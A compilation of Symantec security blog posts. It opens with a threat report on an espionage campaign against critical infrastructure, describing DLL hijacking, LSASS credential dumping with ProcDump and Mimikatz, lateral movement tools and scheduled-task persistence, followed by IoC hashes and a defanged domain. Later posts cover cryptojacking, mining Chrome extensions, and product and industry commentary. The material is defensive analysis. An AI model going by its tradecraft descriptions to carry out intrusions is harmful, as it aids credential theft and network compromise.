Credential theft and lateral movement across victim networks seemed to be a key aim of the attacker, who made extensive use of living-off-the-land tools in this campaign. Among the living-off-the-land or dual-use tools used were:
Windows Management Instrumentation (WMI)
ProcDump
PsExec
PAExec
Mimikatz
The attacker was also seen exploiting a legitimate multimedia player to load a malicious DLL via search order hijacking, as well as exploiting another legitimate tool to load suspicious files onto victim machines.
We did not see what the initial infection vector used by the attacker to get onto targeted networks was, but we did have good insight into how they moved through infected networks.
Water company
The first activity we saw in the attack on this organization was suspicious use of WMI. We then saw a legitimate free multimedia player called PotPlayer Mini being exploited to load a malicious DLL. It has previously been publicly documented that this player is susceptible to DLL search order hijacking, which is not a new technique but is one we see frequently leveraged by attackers to insert malicious files onto victim machines. We saw PotPlayer Mini added as a service to launch a file called potplayermini.exe, we then saw multiple dual-use and hacking tools launched, including:
ProcDump
PsExec
Mimikatz
ProcDump was used for credential theft by abusing the LSASS.exe process, and domain shares were enumerated using net view. We then observed a suspected tunneling tool being launched on the system.
We did not observe the attackers exfiltrating data from the infected machines. However, the machine the attackers were on did have tools on it that indicate it may have been involved in the design of SCADA systems, indicating this is something the attacker may have been interested in.
Power company
PotPlayer Mini was also exploited on the power company network to carry out DLL search order hijacking, and ProcDump was deployed alongside another payload that we suspect was malware. We also saw the attacker once again carrying out credential theft by using ProcDump of the LSASS.exe process.
There were indications that the infected machine in this company may also have been involved in engineering design.
File overlap, as well as the similar tactics used, point to the same actor being behind the attacks on the water and power companies.
Communications company
Meanwhile, in the attack on the communications company the attacker exploited a different legitimate tool, Google Chrome Frame, with suspicious files appearing where chrome_frame_helper.exe was the parent file.
Google Chrome Frame is a legitimate plugin for Internet Explorer that enables rendering of the full browser canvas using Google Chrome's rendering engine.
It wasn’t clear if Google Chrome Frame was already present on the infected machine in this company or if it was introduced by the attacker, as it was the parent file of legitimate as well as suspicious files. PotPlayer Mini also appeared to be exploited on this machine by the attacker for malicious purposes.
PAExec, a tool similar to PsExec, launched at.exe (a Windows task scheduler), in order to schedule execution of chrome_frame_helper.exe as a task. WMI was used to run chrome_frame_helper.exe and perform credential theft by dumping LSASS. PAExec and WMIC were also used for lateral movement and to launch chrome_frame_helper.exe against an internal IP address. PAExec also launched it to schedule execution of an unknown batch file as a daily task, and chrome_frame_helper.exe was also used to launch the SharpHound domain trust enumeration tool and other suspicious files. PAExec was also seen executing what appeared to be Mimikatz for suspected credential theft.
WMI was also used to run chrome_frame_helper.exe to execute a net.exe command to connect a hidden C$ share. C$ shares are administrator shares that are not visible when viewing another computer's shares, but are accessible to those with administrator privileges on a machine. These types of shares are frequently used by malicious actors to stealthily transfer malware across a network and to collect stolen data. However, it is not clear what the C$ share was used for on this network.
We also saw persistence created for chrome_frame_helper.exe as a scheduled task - GoogleUpdateTaskMachineCore4f23 - with the file disguised as chrome_proxy1.exe.
A keylogger and several other files seen on the network of this organization were also seen on the network of the water company.
Defense organization
In the defense organization we once again saw PotPlayer Mini exploited for DLL search order hijacking, as well as seeing some file overlaps between this organization and the communications and water companies.
Conclusion
While we cannot definitively say what the end goal of the attacker was in these attacks, espionage seems like the likeliest motive. This is indicated by the activity we did see - credential stealing, lateral movement, keyloggers being deployed - and the types of machines targeted in some of the organizations - those involved in design and engineering.
The ability of the attacker to maintain a stealthy presence on the targeted networks for a number of months indicates they were skilled. Certain artifacts found on the victim machines indicate the attacker may be based in China, though it is not possible with the information we have to definitively attribute these attacks to a named actor.
A skilled malicious actor from a different country gaining a deep insight into a country’s critical infrastructure by compromising multiple critical infrastructure organizations, including a defense organization, could deliver a lot of valuable intelligence into the hands of adversaries. The Colonial Pipeline attack in the U.S. in May 2021 showed the serious repercussions attacks on critical infrastructure can have, and this campaign makes it clear that it is not just U.S. infrastructure that is under threat from malicious actors.
Indicators of Compromise (IoCs)
File hashes Description Detection
76da9d0046fe76fc28b80c4c1062b17852264348fd873b7dd781f39491f911e0 Legitimate PotPlayer Clean
09cba8721fe18b1b20c773367c821bc0e11cd5e3c125feafff00f7f4100ec380 Google Chrome Frame Clean
f1edf069d44ba91c5cf440c0bf920bcf78da106e7805d4238779c1a406144307 Downloader Backdoor.Trojan
ea2c87eb957a749560237b19b82f7136330b9781d449dd22809154385ef1c032 Keylogger Trojan Horse
fdc44c33e122d188abd8871c0c3691ec7ba0641032cc1eb2ed8f3d55ca890277 Backdoor Trojan Horse
3f862f4a0faf78572863250f7a6dcbeb483a9e761d2a8b9d7dc3e726e2dff291 LCX (dual-use port forwarding tool) Not Malicious
2aaf2960df4b90212a53eeaf0d474d6dcf305e1a62eeab8bbf5d116e63c1261f Proxy server tool Hacktool
tv[.]espnnews[.]org Malicious Domain
Symantec Enterprise Blogs
Attacks Against Critical Infrastructure: A Global Concern
DOWNLOAD CRITICAL INFRASTRUCTURE PAPER NOW
|
Cryptographic Leaders: Don’t Expect Dramatic Security Changes Soon
Despite promising harbingers, leading computer scientists tell RSA attendees that the industry still has much hard work remaining
After a year that recorded a record number of cyber breaches, the good news is that security awareness is higher than it’s ever been.
But you’ll be hard-pressed to find many technologists ready to weave a celebratory narrative around that silver lining. In fact, some of the technology world’s leading cryptographers speaking at an industry conference today suggested that a lingering indifference to strong security design will continue to pose problems over the course of 2018.
“As an academic, I’m bothered by the lack of preciseness in cyber security research,” said Adi Shamir, a co-inventor of the RSA algorithm and one of the computer scientists credited with making public-key cryptography useful in practice.
Shamir made his comments during a panel discussion as the annual RSA Conference got underway in San Francisco. An estimated 50,000 technologists and customers are expected to attend the conference, which lasts until this Friday.
“In cryptography, we have precise definitions, proofs and theorems. If you look at cyber security, everything is mushy,” said Shamir, who is a Professor of Computer Science at Israel’s Weizmann Institute. He noted that one way to advance the field would be to find ways that make cyber security “quantitative, not qualitative.”
But Shamir and his fellow panelists expressed caution about the near-term prospect of breakthroughs that might dramatically change the security landscape.
Indeed, Ron Rivest, one of Shamir’s co-inventors (along with Len Adleman) used the occasion to dismiss some of the more enthusiastic predictions being made about the future impact that blockchain technology will have on the security world.
“It’s often viewed as security pixy dust that any app would be improved,” he said. While blockchain “has properties that may or may not fit your apps,” he maintained that they still “fail miserably in scale, throughput and latency.”
Moxie Marlinspike, the founder of the Signal Protocol, sounded a similar judgment.
“All the blockchain stuff reminds me of the P2P craze in the early 2000 [where some people predicted] how great things would be in the future,” he said. “But they weren’t based on sound computing principles.”
Another call for a new approach came from Paul Kocher, an independent cryptographer who co-discovered the recently disclosed Spectre chip vulnerability. Kocher decried the broad acceptance of the notion that security compromises are a necessary tradeoff for greater performance speeds and said the industry needs to rethink that assumption and challenge the idea that “all value gains” necessarily come from being faster while everything else must receive “secondary” consideration.
“We need to completely change the way we look at technology and how as an industry, we can change that,” Kocher said.
Join Symantec at RSA Conference 2018 Booth #3901 North Expo Hall. Click Here for the schedule and follow @Symantec on Twitter for highlights
You can also livestream or watch on demand the keynote at: https://www.rsaconference.com/events/us18/presentations/keynote-symantec
|
Cryptojacking: A Modern Cash Cow
Cryptojacking shook up the cyber security landscape in 2017 and 2018. We take an in-depth look at this cyber crime trend.
One of the biggest cyber security trends of 2018 is cryptojacking, where cyber criminals surreptitiously run coinminers on victims’ devices without their knowledge and use their Central Processing Unit (CPU) power to mine cryptocurrencies.
This has been such a big trend this year that we have published a research paper on this topic, which you can read here, featuring insights and analysis about this cyber security threat.
Cryptojacking surged in the last quarter of 2017, with its growth in popularity coinciding with a surge in the value of cryptocurrencies, including Monero, which is what is mainly mined by CPU miners.
Key points in our research include:
The greatest surge in activity was in the area of browser-based coinminers.
Cryptojacking activity peaked in December 2017, with more than 8 million cryptojacking events blocked by Symantec. We have seen a slight fall in activity in 2018, but cryptojacking events blocked in July 2018 still totaled just less than 5 million.
Primary effects of cryptojacking include: device slowdown; overheating batteries; increased energy consumption; devices becoming unusable; and reduction in productivity.
Cryptojacking in the cloud could also cause additional costs for businesses that are billed based on CPU usage.
"Cryptojacking activity peaked in December 2017, with more than 8 million cryptojacking events blocked by Symantec https://symc.ly/2xFGYH4"
CLICK TO TWEET
What is cryptojacking?
Computer programs called coinminers are used to mine cryptocurrencies. Cryptocurrencies are digital currencies created using computer programs and computing power. Bitcoin is the best-known cryptocurrency, but it cannot be mined using personal computers—it requires specialist equipment to mine.
The cryptocurrency we primarily see mined on personal computers is Monero.
File-based coin mining involves downloading and running an executable file on your computer.
Browser-based coin mining takes place inside a web browser and is implemented using scripting languages. If a web page has a coin-mining script injected on it, the web page visitors’ computing power will be used to mine for cryptocurrency for as long as they keep the web page open.
Coin mining is not illegal, and many people choose to run files or scripts on their computers to carry out coin mining to make money themselves. Some websites may also use coin mining as an alternative to advertising to generate revenue, which is fine provided customers are told that their CPU power will be used to mine cryptocurrency while they are visiting that website.
The problems arise when people aren’t aware their computers are being used to mine cryptocurrency, or if cyber criminals surreptitiously install coinminers on victims’ computers or Internet of Things (IoT) devices without their knowledge—this is cryptojacking.
What’s the big deal?
The primary impact of cryptojacking is performance-related, though it can also increase costs for the individuals and businesses affected. Potential impacts for device owners include:
A slowdown in device performance
Overheating batteries
Devices becoming unusable
Reduction in productivity
Increased costs due to increased electricity usage, and for businesses operating in the cloud that are billed based on CPU usage
Unlike threats like ransomware, which immediately disrupt victims’ access to their devices, cryptojacking could be quietly carried out on a victim’s device for a long time before they realize what is happening.
How big an issue is cryptojacking?
The surge in cryptojacking in the last quarter of 2017 was dramatic. It hit its peak in December 2017 when Symantec technologies blocked more than 8 million cryptojacking events. We have seen activity decrease somewhat since then, but in July 2018 we still saw just less than 5 million cryptojacking events blocked, and the growth in activity since September 2017 is stark.
Figure 1. All cryptojacking events blocked by Symantec from January 2017 to July 2018
Reasons cryptojacking activity increased include:
A surge in the value of cryptocurrencies in the final quarter of 2017
Lower barriers to entry for cyber criminals
Cryptojacking allows cyber criminals to operate without the activity being noticed by victims
Even fully-patched devices can be targeted via browser-based coinminers
The steep increase in the value of cryptocurrencies was another key reason cryptojacking activity surged.
The lower barrier to entry was primarily thanks to the Coinhive service, which was launched in September 2017, just before cryptojacking activity increased dramatically. Coinhive, which is a script that mines Monero, was marketed as an alternative to ads for websites seeking to generate revenue. It recommends that its users are transparent with site visitors about its presence, but this hasn’t stopped unscrupulous operators from using it to carry out cryptojacking with the hope that site visitors won’t notice. Since its launch there have been many reports of it being used for cryptojacking without site visitors’ knowledge.
Along with the arrival of Coinhive, the steep increase in the value of cryptocurrencies was another key reason cryptojacking activity surged. At its peak in December 2017 and January 2018, Monero reached values of close to US$500 per coin. It’s hard to know how much money cyber criminals are making from cryptojacking, but the key to making money in this area is scale. A coinminer running on one computer won’t make much money—but a coinminer running on thousands of computers could potentially mine a lot of cryptocurrency.
Figure 2. A cyber criminal with a botnet of 100,000 devices mining cryptocurrencies could make a nice profit in just 30 days
What’s the future for cryptojacking?
The future of cryptojacking is something we consider in the whitepaper, and which we also speculated about in ISTR 23. We said then that “the longevity of this activity very much depends on the future value of these cryptocurrencies.” 2018 has seen a drop in cryptojacking activity compared to the final quarter of 2017 but, despite some fluctuations in cryptocurrency values, activity in this area remains significant and it is still one of the primary threats on the cyber security landscape as we enter the final months of 2018.
While we may not see the mass adoption of cryptojacking that occurred at the end of 2017, once cyber criminals are still making money from cryptojacking it will remain a headache for consumers and businesses for some time to come.
Read more of our thoughts on the future of cryptojacking, as well as case studies, and more in-depth analysis of the cryptojacking landscape in our whitepaper on the topic.
Symantec Enterprise Blogs
WHITE PAPER
Cryptojacking: A Modern Cash Cow
CLICK HERE TO READ THE FULL WHITE PAPER
|
Cryptojacking Extensions Found on Google Chrome Web Store
Symantec found two Chrome extensions that secretly mine for Monero.
On May 8, we discovered two extensions for Google’s Chrome web browser that secretly perform coin mining after they are installed. Both extensions were found on the official Google Chrome Web Store.
One of the extensions, called 2048, is a version of a popular math-based strategy game. The extension was published in August 2017 and has over 2,100 users, which suggests the publisher has made some profit using the CPU cycles of those users to mine for cryptocurrency.
Figure 1. Strategy game 2048 secretly mines for cryptocurrency
Figure 2. The 2048 extension has over 2,100 users
The other extension, Mp3 Songs Download, claims to be an MP3 downloader but just redirects the user to an MP3 download website when they click on the extension button. The MP3 download website secretly launches a coin-mining script in the background. The Mp3 Songs Download extension was published in June 2017 and has around 4,000 users.
Figure 3. The Mp3 Songs Download Chrome extension has almost 4,000 users
Figure 4. Mp3 Songs Download asks users to click on icon that redirects them to a website which runs a coin-mining script
Coin-mining script: 2048
The source code for the 2048 extension contains a hardcoded domain that is triggered when Chrome is launched.
Figure 5. 2048 extension source code contains hardcoded domain that is called when Chrome launches
The form in http://www.madafak[DOT]in/landing sends a POST request with a hidden field to www.madafak[DOT]in after one second.
Figure 6. POST request with hidden field
The main page www.madafak[DOT]in attempts to pass itself off as Google Analytics but it secretly loads a coinminer library (ga.js) in the background.
Figure 7. Website claims to be related to Google Analytics but secretly loads coin-mining library
From the script shown in Figure 7 we can see that the coinminer mines Monero, throttles CPU usage at 0.5 (50 percent), and contains a hardcoded Monero wallet address (5bdd3443937ebe08d3e3c99e9524afc13702eba28340).
Coin-mining script: Mp3 Songs Download
The extension Mp3 Songs Download doesn’t start its coin-mining script until the user clicks on the extension button and is redirected to a website. As the JavaScript in Figure 8 shows, the extension redirects the user to http://mp3song-s[DOT]com.
Figure 8. Mp3 Songs Download extension source code redirects users to another website
This website looks just like a normal MP3 download site (Figure 9) and actually functions as one. However, it also loads coin-mining JavaScript (VEZ4.js) secretly, which can be seen in the website’s source code (Figure 10). From the source code we can also see the hardcoded wallet key and throttling ratio, which is set at 0, meaning 100 percent of the user’s CPU cycles can be used for mining.
Figure 9. Website looks and functions like a normal MP3 download site
Figure 10. Coin-mining JavaScript shown in website’s source code
Impact on users
The coin mining will persist for as long as the browser (with the 2048 extension installed) or website (in the case of the Mp3 Songs Download extension) remains open. The effects of this activity could include device slowdown, overheating batteries, increased energy consumption, and even devices becoming unusable.
Figure 11 shows our test computer’s CPU usage spiking at 100 percent after the Mp3 Songs Download extension was installed.
Figure 11. CPU usage spikes due to Mp3 Songs Download extension
Furthermore, the malicious activity of these extensions is made harder to detect by the fact that they function as described. For example, the game 2048 is playable just like any 2048 game and the MP3 website contains downloadable MP3 files. This means that many users will not be suspicious and may not realize their computing power is being hijacked to make money for the developers behind these extensions.
We notified Google about these coin-mining extensions and they have now been removed from the Google Chrome Web Store.
Protection
Symantec and Norton products detect the extensions as the following:
Miner.Jswebcoin
Mitigation
Install a suitable security app, such as Norton or Symantec Endpoint Protection, to protect your device and data.
Pay close attention to CPU and memory usage on your computer or device. Abnormally high usage could be an indication of coin-mining.
Check the app developer’s name, which can be found on the app’s store page. Do an internet search for the developer as there may be users who have had experience of their apps—good or bad.
Check the app reviews. While fake reviews are common, they’re often short and generic. There may also be legitimate reviews from users who have figured out that the app isn’t what it appears to be.
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
4 MIN READ
Cryptojacking: A Modern Cash Cow
Cryptojacking shook up the cyber security landscape in 2017 and 2018. We take an in-depth look at this cyber crime trend.
|
Cryptojacking Fluctuates Along with Cryptocurrency Values
The persistence of this new cyber crime trend means enterprises will need to worry about cryptojacking exploits as much as – or more than – individual computer users
It’s hard to know who tracks the value of cryptocurrencies more closely. Is it the investors who own the virtual coins, or the criminals who hijack computing power to mine them?
For their part, the criminals clearly do follow cryptocurrency values. Symantec, as detailed in its annual Internet Security Threat Report (ISTR), tracked a decline in cryptojacking activity during the course of 2018, a period during which the high values cryptocurrencies reached in late 2017 gradually came down to earth.
But what is cryptojacking? In essence, it’s the process of secretly commandeering the processing power of tens, hundreds or thousands of victims’ computers and using them to collectively perform cryptocurrency mining operations. If those mining efforts successfully solve the mathematical puzzles required to validate cryptocurrency transactions, the criminal miners receive payments in the form of new crypto coins.
Cryptojacking can occur via two distinct forms of attack. In one, attackers use spear phishing or other ploys in an attempt to infect a user’s computer with cryptojacking malware. Once infected, some of the computer’s resources will be redirected to perform cryptomining behind the scenes. Users often will have no indication anything is wrong, other than perhaps experiencing unusually sluggish computing operations.
A second approach – and the one Symantec says was the most common last year – is for attackers to infect websites with cryptojacking malware. When a user visits the site, his or her computer is surreptitiously enlisted in the cryptomining cause. Often, even when the user attempts to close the website, the session remains secretly active in a window that may be hidden behind a taskbar or in some other location.
According to the ISTR, cryptojacking activity peaked in late 2017 and early 2018, a period when cryptocurrency values were at or near record highs. From December 2017 through February 2018, Symantec blocked approximately 8 million cryptojacking events each month.
That number fell – along with the value of cryptocurrencies – to 3.5 million in December 2018. Still, during the course of the full year, Symantec blocked nearly 69 million cryptojacking events, compared to only 16 million such events blocked during all of 2017.
Enterprises need to worry about cryptojacking exploits as much as – or more than – individual computer users.
Despite its high profile as the first cryptocurrency, Bitcoin isn’t typically a target of cryptojacking operations. As the Bitcoin community has grown, the mathematical operations required to perform cryptomining have become exceedingly complex. “Bitcoin mining requires far too much processing power and energy,” says Brigid O’Gorman, a senior information developer with Symantec Security Response. “It can’t be mined with regular computers, and generally requires specialized hardware.”
Other cryptocurrencies such as Monero are better targets for cryptomining criminals. In one instance last year, more than 300 websites were infected with Coinhive, one of many JavaScript-based cryptomining exploits that have been identified.
One of the more troubling trends that emerged last year was the adoption by some cryptojacking scripts of the same NSA-originated Eternal Blue code that formed the core of the infamous WannaCry ransomware attacks. WannaMine cryptojacking malware, for example, can use Eternal Blue to spread laterally through the servers on enterprise networks. Infected devices can become unusable due to the heavy diversion of their CPU resources, Symantec reports.
Along with being a cryptojacking exploit, WannaMine (MSH.Bluwimps) is yet another example of a living off the land attack. Its script executes in the ubiquitous PowerShell, making it difficult to identify and eradicate.
In February 2018, during the period of high cyber currency values, researchers identified a cryptojacking attack that had successfully leveraged Eternal Blue to infect more than 500,000 machines. Dubbed Smominru, the crypto miner botnet – which had initially launched its attack in May 2017 – reportedly made its owners more than $3.5 million.
Clearly, enterprises need to worry about cryptojacking exploits as much as – or more than – individual computer users. Ironically, one of the best ways to counter such attacks is to simply install security patches as they become available. For example, Microsoft issued a patch designed to block WannaMine in March 2017, yet many organizations have yet to install the patch on their Windows servers.
Cryptojacking activity is likely to continue to fluctuate in rough synchronicity with the value of the cryptocurrencies targeted. As Symantec notes in its ISTR, however, this exploit’s low barrier of entry and anonymity likely means that “cryptojacking is an area that will continue to have a role in the cyber crime landscape.”
|
Cryptojacking: It’s Here, Get Used to It
Annoyance or Crime? It’s both but either way, don’t expect the phenomenon to disappear quietly into the night
Put your hand on your PC. Does it feel warmer than usual? If it does, that might be your only way of knowing it is mining cryptocurrency for a bad actor on the other side of the globe. Cryptojacking – the unauthorized use of a system to mine cryptocurrency -- has taken off in the past 12 months because it is both simple and, given high cryptocurrency valuations, profitable. According to Rob Westervelt, research director at IDC, cryptomining has generated hundreds of millions of dollars of illicit earnings. Chances are, it will earn far more.
The first cryptojacking efforts were browser-based Javascript exploits that gained traction rapidly, fueling an 8500 percent increase in cryptojacking last year, according to the most recent Symantec Internet Security Threat Report. The findings are based in part on the ability of Symantec’s own technology to block cryptojacking signatures and identify cryptomining activity through network protection technology. In December 2017, Symantec blocked 9 million attacks, according to Kevin Haley, director, product management for security response at Symantec.
Most cryptojacking schemes use the Coinhive Javascript and the Monero cryptocurrency, which is designed for consumer-grade microprocessors. Monero does not create a public ledger as does Bitcoin, which makes it virtually untraceable. However, Javascript can be readily blocked by a number of widely available tools.
In response, cryptojackers have upped their game by perpetrating more sophisticated malware-style attacks in recent months. In June 2018, an attack was discovered codenamed “Operation Prowli,” which relied on a variety of exploits. One was Secure Shell (SSH) brute forcing to initiate cryptocurrency mining. Another was redirecting web traffic for the purpose of monetization fraud. The relentlessness of cryptojackers is reflected in recent figures.
Smart cryptojackers are deploying lightweight mining algorithms that utilize enough resources to mine cryptocurrency, but not so much as to attract the notice of the victim by overheating a PC or slowing performance.
In January 2018, researchers discovered the Smominru crypto mining botnet, which infected more than a half-million machines, mostly in Russia, India, and Taiwan. The botnet targeted Windows servers to mine Monero, and cyber security firm Proofpoint estimated that it had generated as much as $3.6 million in value as of the end of January.
In May 2018, Monero-mining malware called WinstarNssmMiner infected half a million computers in three days. The malware was particularly nasty because it crashed users’ systems if the presence of certain antivirus software was detected.
In June 2018, Japanese authorities announced the arrests of 16 persons suspected of mining cryptocurrency without users’ permission. All but one had installed Coinhive software on the unsuspecting users’ systems. The remaining suspect installed a homegrown miner similar to Coinhive. Although the most that any of the suspects gained was small (120,000 yen, or $1,100), the fact that the suspects had not asked for permission prompted the authorities to act.
In February, employees at a nuclear weapons technology research center in Sarov, Russian Federation were arrested for surreptitiously using the center’s computers to mine cryptocurrency.
But thanks to increasing sophistication and stealthier attacks, arrests are rare. Smart cryptojackers are deploying lightweight mining algorithms that utilize enough resources to mine cryptocurrency, but not so much as to attract the notice of the victim by overheating a PC or slowing performance. “If the miner uses 100% of your system resources, you’ll know something is wrong with your computer,” said Haley. To keep a low profile, IDC’s Westervelt says attackers who utilize botnets for cryptojacking are likely to refrain from other activities that might attract attention, such as data exfiltration and credential theft.
Because they might earn only a small amount of cryptocurrency from each compromised system, skilled perpetrators must devise methods to access a large number of machines, so that their efforts yield them a profit.
“The people who are learning lessons and improving what they do are the ones that are remaining. What you’re seeing here is professionalization. If you are not really good at mining, you’re not going to make any money,” Haley said.
As attacks become more sophisticated, the preventive measures you take should escalate as well. Experts advise administrators to monitor website activity and use a web application firewall, anti-bot software and other security tools such as next-gen firewalls and intrusion prevention systems.
Also, administrators should monitor servers and endpoint devices for unusual activity – including whether they are running hotter than they should. Any cryptomining software that’s found should be a warning flag for additional malicious activity. Rather than just removing the malicious code, organizations should conduct root-cause analysis to identify how the software was installed and take steps to prevent repeat attacks.
“I expect this to continue to be an annoyance,” Westervelt predicted but cautioned against making the cure worse than the disease, since ad blocking and anti-crypto-mining browser extensions might themselves degrade end-user performance. “Enterprise IT teams should test them thoroughly and consider any disruption that they might cause to end users when browsing or accessing custom applications,” he said.
If you found this information useful, you may also enjoy:
Tallying Up the Hidden Costs of Cryptomining Malware
Coinminer protection and removal with Symantec Endpoint Protection
Why cryptocurrency mining malware is the new ransomware
|
Curiosity – Our Path to Risk Insights
An open framework and curious mindset provides great insights
I’ve been asked recently about how we developed Information Centric Analytics (ICA), Symantec’s User Entity Behavior Analytics solution, and in particular the focus on data loss risk. This is a great question. If you go back a few years, the world of Data Loss Prevention (DLP) seemed straightforward – at least in theory. The focus was to find the data you cared about, and then keep it safe. But if, like me, you are curious, you will be wondering what else could be done to solve this problem in a more effective way? That’s exactly what both we, and our customers, have been doing – bringing more insights to reduce data loss risk.
I am very proud to be part of the team whose technology is being used by the world’s leading organizations. Our customers are at the forefront of operating highly mature DLP programs, and as such I have the opportunity to have deep and open conversations about how to develop our solutions to better serve them. It was from these exchanges that came the germ of the idea for the predecessor of ICA, a technology that was developed by Bay Dynamics, which was later acquired by Broadcom to enhance our DLP offering.
What we developed was a risk engine, a technology that really helped customers be able to ‘slice and dice’ data. Customers now had a mechanism that allowed them to be curious. I describe this as allowing them “to choose their own adventure”. Symantec provides a broad array of security intelligence, with data feeds spanning endpoint, web, cloud, and email. Just imagine the power that providing this greater context and insight can bring to the understanding and management of risk. ICA truly has the flexibility to support customers in unique and powerful ways, allowing them to explore new ways to reduce data risk.
ICA is now integrating into DLP Cloud and I am personally excited about the role of ICA in helping customers solve new security challenges.
As I worked alongside customers, a common theme emerged - having a broad range of inputs allowed better management of data risk. Let’s take an example. If you start with only a data-centric view of data loss, then you tend to think of the problem in a limited way. First, you might want to find if there is any sensitive data on a particular server or endpoint, and then consider the response (perhaps to encrypt the data or device). This is what you might expect a data protection product to do. What happens if you are allowed to follow your curiosity? So much more can be done. What if you could now see not only the server, but report on what vulnerabilities are in the operating system, and if there were live threats that could exploit the vulnerability, and if the user activity on that server was suspicious? Clearly, this extra context would allow a more considered decision to be reached.
Having established a flexible technology base to cope with multiple security inputs, we decide to explore other applications of the technology. For example, I often hear customer requests for reducing risk in data loss programs – ranging from tracking the ‘breadcrumbs’ a user would leave behind (and using this to profile their risk against other populations), seeking help in optimizing DLP controls, protecting virtual machines or improving DLP incident response. I led the team that developed intelligence technology so customers could understand the response behavior related to multiple events. This automation consolidated low priority incidents together, allowing their incident responders to focus on the most pressing cases, particularly when presented using Attack Chain models. In short, to reduce the signal to noise ratio from their incident reporting system. You can read more about these benefits in this blog.
Since being part of Symantec and Broadcom, the innovation journey has continued. I’m pleased with the progress that’s been made. ICA is now integrating into DLP Cloud and I am personally excited about the role of ICA in helping customers solve new security challenges. By approaching problems with data curiosity (and a little bit of data science) I know ICA can help customers stop seeing the world a pixel at a time, and instead appreciate the full picture.
Find out more about Symantec DLP and ICA here.
|
CWP Integration with EventBridge Amplifies Cyber Security Resources
How to gain better security and visibility into your cloud infrastructure
Two powerful trends are converging, leaving enterprises to struggle with securing and monitoring their portfolio of cloud applications. Alerts and notifications from dozens—if not hundreds—of cloud services are overloading systems administrators, allowing real security issues to slip through the cracks unnoticed. At the same time, the deployment of cloud applications is exploding, with a February 2019 Enterprise Strategy Group (ESG) survey revealing that 39% of midmarket and enterprise organizations are taking a cloud-first approach to their new application deployments, up from 29% in 2018.
The result: Attackers have more time and opportunities to exploit vulnerable systems, while IT personnel are overwhelmed with responding to alerts, configuring complicated infrastructure, and attempting to integrate a variety of third-party services to help monitor and secure their rapidly expanding portfolio of cloud applications. In fact, a May 2019 survey by ESG revealed that 33% of organizations impacted by the global cyber security skills shortage say that cloud security is an area in which they have the biggest shortfall.
To help enterprises address these pressing problems, Symantec has continued to integrate its cloud security offerings more closely with the Amazon Web Services (AWS) platform features. As an AWS Advanced Technology and Security Infrastructure Competency Partner, Symantec has already integrated with AWS Systems Manager to help automate operational actions. Now, Symantec has integrated Symantec Cloud Workload Protection (CWP) with Amazon EventBridge, allowing customers to easily send security events from their own environments to drive comprehensive security analytics use cases.
39% of midmarket and enterprise organizations are taking a cloud-first approach to their new application deployments, up from 29% in 2018
How does Amazon EventBridge work?
At its heart, Amazon EventBridge is a new serverless event bus, built on top of the Amazon CloudWatch Events API, that makes it easy to connect application data from a variety of sources with AWS environments. EventBridge allows third-party applications to send messages and data in a standardized way to AWS CloudWatch events and other applications. Companies can link compliant services to Amazon analytics and pull information from Amazon Web Services into third-party applications that support EventBridge.
How does this new integration between Symantec CWP and Amazon EventBridge benefit me?
EventBridge allows the creation of a single, simple integration that extends events from CWP into AWS to power services such as AWS Lambda, AWS Step Functions, and Amazon Simple Queue Service (SQS). EventBridge delivers a stream of real-time event data from CWP to AWS services which can then be used to perform further actions such as risk reduction and threat remediation.
EventBridge makes it easy to build scalable event-driven applications because it handles event ingestion and delivery, security, authorization, and errors. And since CWP natively supports AWS APIs, integration with EventBridge is easy, enabling rapid response to cloud application threats and environmental changes. For example, CWP could publish security event information to EventBridge, which could then trigger specific AWS Lambda functions to take prespecified actions.
By closely monitoring cloud application workloads and generating alerts according to out-of-the-box or customized rules, CWP can provide early warning about potential attacks and risky behavior. When relayed to AWS via EventBridge, this information can be used to automate responses that would normally be performed by cyber security administrators and IT personnel, freeing these human resources for other critical activities.
How to get started.
Need better visibility into your cloud infrastructure’s security posture? It’s easy. Just sign up for a free CWP trial on AWS Marketplace, then follow the EventBridge integration steps.
|
Cyber-Physical Attacks are Finally for Real
A range of crucial sectors now face a growing risk of attacks that experts say have the potential to cause cyber-physical mayhem
Here’s a heart stopper: On March 21, the Department of Homeland Security and the FDA alerted cardiologists, hospitals, and patients that hundreds of thousands of implanted defibrillators, programmers, and heart monitors could be hacked, “potentially impacting product functionality.”
While the FDA noted that some company's devices contain telemetry vulnerabilities that can allow cyber tampering and the interception of patient data, there have been no reports of harm to actual patients. The companies, meanwhile, say they are working to patch the vulnerabilities.
The news is chilling for a number of reasons. It shows that cyber bad guys can practically reach inside our very bodies. (In fact, the white hat hacker Billy Rios showed last summer that he could access control of an implanted pace maker and deliver or withhold shocks to the heart). It also suggests that nothing is safe from malicious tampering in our increasingly wired world.
“Anything that is part of a physical network, that is monitored by sensors and uses computing control systems, can be infiltrated by incoming corrupted data,” says Lalitha Sankar, an associate professor at Arizona State University’s school of electrical, computer, and energy engineering.
For years now, security experts have been warning about the growing risk and outsized impacts of cyber-physical attacks. The Internet of Things, which embraces a range of newly-smart devices including everything from smart lawn mowers to electricity grids, has morphed into the internet of everything. Advances in computing, networking, sensing, and control systems has given rise to some 30 billion (and counting) connected devices.
What’s lagging in these fast-and-first-to-market innovations is security. As a result, a range of crucial sectors are now at risk to cyber-physical mayhem. Among them: medical devices, smart grids, public utilities, maritime navigation, autonomous vehicles, our homes, and manufacturing.
Advances in computing, networking, sensing, and control systems has given rise to some 30 billion (and counting) connected devices.
Hackers have already proved the point. In 2013, hackers believed to be working on behalf of a nation state remotely seized controls of a small dam, by way of a cellular modem, and could have released water on downstream communities. (The sluice gate at the time had been manually disconnected.) Two years later, foreign cyber attackers shutdown power distribution in a country, leaving a quarter million people without electricity. That same year, the WannaCry ransomware attack disrupted hospitals and clinics in other countries.
It’s not just nation-state malefactors who are responsible or big infrastructure that’s being targeted. Malicious cyber hackers have taken control of water treatment plants, hacked steel mills to halt production, and other examples. White-hat hackers, probing for flaws, proved they could theoretically take over the ballast pumps of cargo ships and capsize it, or take over an electric scooter, via faulty password validation, and accelerate it.
Unlike traditional hacks on information systems, where, say, spear phishing emails seek to infiltrate systems, conduct reconnaissance and hoover up user names and passwords, or lock down crucial files for ransom, these cyber-physical attacks seek to mangle equipment and lives.
“Attackers only have to look for the weakest part of an expanding attack surface,” says Arizona State’s Lalitha Sankar. Her work models sophisticated attacks on power grids, which are increasingly common according to the DHS, to understand them and make grids more resilient.
